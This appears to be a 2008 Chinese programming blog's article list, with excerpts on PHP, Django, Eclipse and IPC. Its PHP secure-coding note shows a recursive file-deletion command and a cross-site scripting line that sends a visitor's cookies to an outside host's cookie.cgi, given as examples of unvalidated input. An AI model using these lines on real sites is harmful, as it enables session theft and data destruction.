- 浏览: 237215 次
- 性别:
- 来自: 北京
最新评论
-
hnraysir:
必须登录评论下,谢谢。by elesos.com
分库和分表 -
化蝶自在飞:
命运使然.前生来世都注定了的.
贫穷是罪恶之源 -
Kidwind:
出现这样的错误ViewDoesNotExist at /con ...
django的jsCalendar的widget -
hanyh:
我的项目比较小,就直接写在views.py里面了。你出现的是什 ...
django的jsCalendar的widget -
Kidwind:
请问JsCalendarWidget应该放在哪个位置,我的是放 ...
django的jsCalendar的widget
文章列表
APC is a free, open, and robust framework for caching and optimizing PHP intermediate code.
大的网站都用它
sudo apt-get install apache2-threaded-dev php5-dev php-pear make
sudo ln -s /usr/bin/apxs2 /usr/bin/apxs
sudo pecl install apc
回答:YES
sudo vi /etc/php5/apache2/php.ini
增加:extension=apc.so ...
- 2008-11-27 15:23
- 浏览 1477
- 评论(0)
interface Storage {
public static function get_temp_dir();
// public function storage();
}
class FileUtils implements Storage {
public static function get_temp_dir() {
$version = phpversion();
$versionArr = explode(".",$version);
if ($versionArr[0] >= 5 && ...
- 2008-11-27 11:46
- 浏览 1528
- 评论(0)
一,用户输入
要求验证所有的用户输入
1,register_globals -->Off
file_exists($module.'.php');
<?php 'find / -exec rm "{}" ";"'; ?>
2,跨站脚本
<?php echo $_GET['js']; ?>
document.location=http://www.ss/cookie.cgi?f='+document.cookie
3,SQL注入
addslashes()特殊字符串转义
4,验证输入
类型验证:
if(! ...
- 2008-11-24 11:32
- 浏览 866
- 评论(0)
看北大才女子张曼菱人生随笔集一
- 博客分类:
- 学习
一朋友让看看这本书,感受到的更多的是文化。
穷上大学
====================
让人想起论语的一句话:贫而乐,富而好礼。
历史的积淀,家族的传承,个性的沉厚,飘逸背后的基石
世纪末的怀念
====================
师道与北大的精神
要的不是和时代同步,而是走在时代前面的开拓者
一个大师成长的环境,一种人文风貌,一种文化,一种融入血液的气质
未名湖的深情
====================
情,缘
碎梦的美丽与洒脱
不拘一格惜人杰
====================
作人才?还是作人杰?
人才:市场衡量
人杰 ...
- 2008-11-23 20:30
- 浏览 938
- 评论(0)
因为作JAVA时一直用eclipse,写python也用eclipse,现在又写Php,还是用eclipse比较好,习惯了:)
一,下载相关插件
1,pdt
http://www.eclipse.org/pdt/
2,zend debugger
http://downloads.zend.com/pdt/server-debugger/
http://downloads.zend.com/pdt/debugger/
二,安装
我用的是ubuntu
eclipse安装目录
hanyh@hanyh-laptop:/opt$ ls
all_in_one bin download ec ...
- 2008-11-23 19:39
- 浏览 2125
- 评论(0)
1,属性__get与__set($propery,$value)方法非常简便
2,__call($method,$args):
类似java的动态调用方法,用来实现declotor
return call_user_func_array(array($this->obj,$method)
3,使用数组的语法访问的重载:
class H impements ArrayAccess {
function offsetExists($name) {
...
}
}
维持一个统一的调用接口,一个有用的特性,当是没有也没什么
4,迭代器接口
- 2008-11-21 16:13
- 浏览 855
- 评论(0)
1,php的class没有像java一样,默认继承自object,有许多默认的toString()等方法
2,PHP的self::关键字和$this关键字,
3,默认的function __clone()方法
4, __CLASS__关键字类似于java的.obj.getClass().getName());
5,__autoload()
函数自动包含包
6,"" 和''是有很大区别的,和Java的不同。'不支持所有的转义和变量替换功能:
$a.'\n'与4a."\n"非常不同
#一个没有把所有特性包含进去的语言更加容易掌握
7,PHP是弱类型的,不用声 ...
- 2008-11-20 21:58
- 浏览 960
- 评论(0)
s="""
| ANSWERS |
| ANSWER_EVALUATIONS |
| BULLETINS |
| BULLETIN_RECEIVERS |
| CHAT_LOGS |
| COLLECTION_QUESTIONS |
| COMMON_NEWS ...
- 2008-08-29 16:00
- 浏览 1050
- 评论(0)
在django工程发布的时候,常常不是用http://domain.com/...
而是子工程http://domain.com/soe/等等,#为了同时在一个域名发布多个站点,并且不改变原来的URL设置,适应多种域名变化情况,使用下面的转发方式
#如www.sohu.com/jhys www.sohu.com/mystore
#定义为/site
url_prefix = ''
if settings.CONTEXT_PATH:
url_prefix = (settings.CONTEXT_PATH)[1:]+'/'
def redirect(request):
...
很多作IT技术的人员,是不是太把自己限制在技术这个圈里?很多人不关心实事,中国传统文化。我们常看见如下限制:本论坛只讨论技术,本邮件列表只讨论技术。即使是非政治性话题也是不能谈论的,挺压抑的》。。。
技术,顾名思义,就是“技术”,不是人生,把自己
- 2008-08-13 09:57
- 浏览 851
- 评论(0)
最近在击剑馆作志愿者,今天是第5天
一,对细节重视。
如插线板,为了避免意外的关掉电源,想的办法是用一个矿泉水的瓶盖盖住开关,然后用胶布缠起来,这样偶然一脚踩上去也不会中断电源供应。对出的各种成绩报告,没 ...
当client和server在一台机器上时:连接方式(IPC)方式,
a) TCP/IP sockets, either
~ i) TCP streams,
~ ii) UDP datagrams,
b) Unix domain sockets
c) pipes
d) Named Pipes (aka FIFOs)
e) Shared Memory
Named pipes是单向的,如果双向通信要至少2个pipe
Unix domain sockets就是双向的pipe
shared memroy非常高效
通常本机用unix domain sockets就OK
- 2008-08-07 21:00
- 浏览 1016
- 评论(0)
几个常用协议的定义和推荐组织
Protocol preferred by binary protocol keep-alive
HTTP mongrel no yes
SCGI WSGI (python) not really no
FastCGI PHP, rails yes yes
AJP13 Tomcat yes yes yes
What is Mongrel?
Mongre ...
- 2008-07-30 14:24
- 浏览 1455
- 评论(0)
前些天写的一个cache优化操作,因为逻辑很简单,就没有写测试用例.结果出现了个magic错误,就是提取缓存的时候有时能出来,有时候取不出来。因为我保存的时候本来目标是key保存的为:
key1,key2,key3,...key10
结果保存为
key1,key2,key2,key2,key2,key2,key2,
取得时候是1-10随机key,然后,结果随机到1,2,就正常,其他的不正常,开始还认为是其他部份的问题...
看来再简单的东西也要写测试用例啊。
class Array(object):
def __init__(self, length = 0, baseIndex = 0):
assert length >= 0
self._data = [ None for i in xrange(length) ]
self._baseIndex = baseIndex
def __copy__(self):
result = Array(len(self._data))
for i, datum in enumerat ...
- 2008-07-17 08:44
- 浏览 1428
- 评论(0)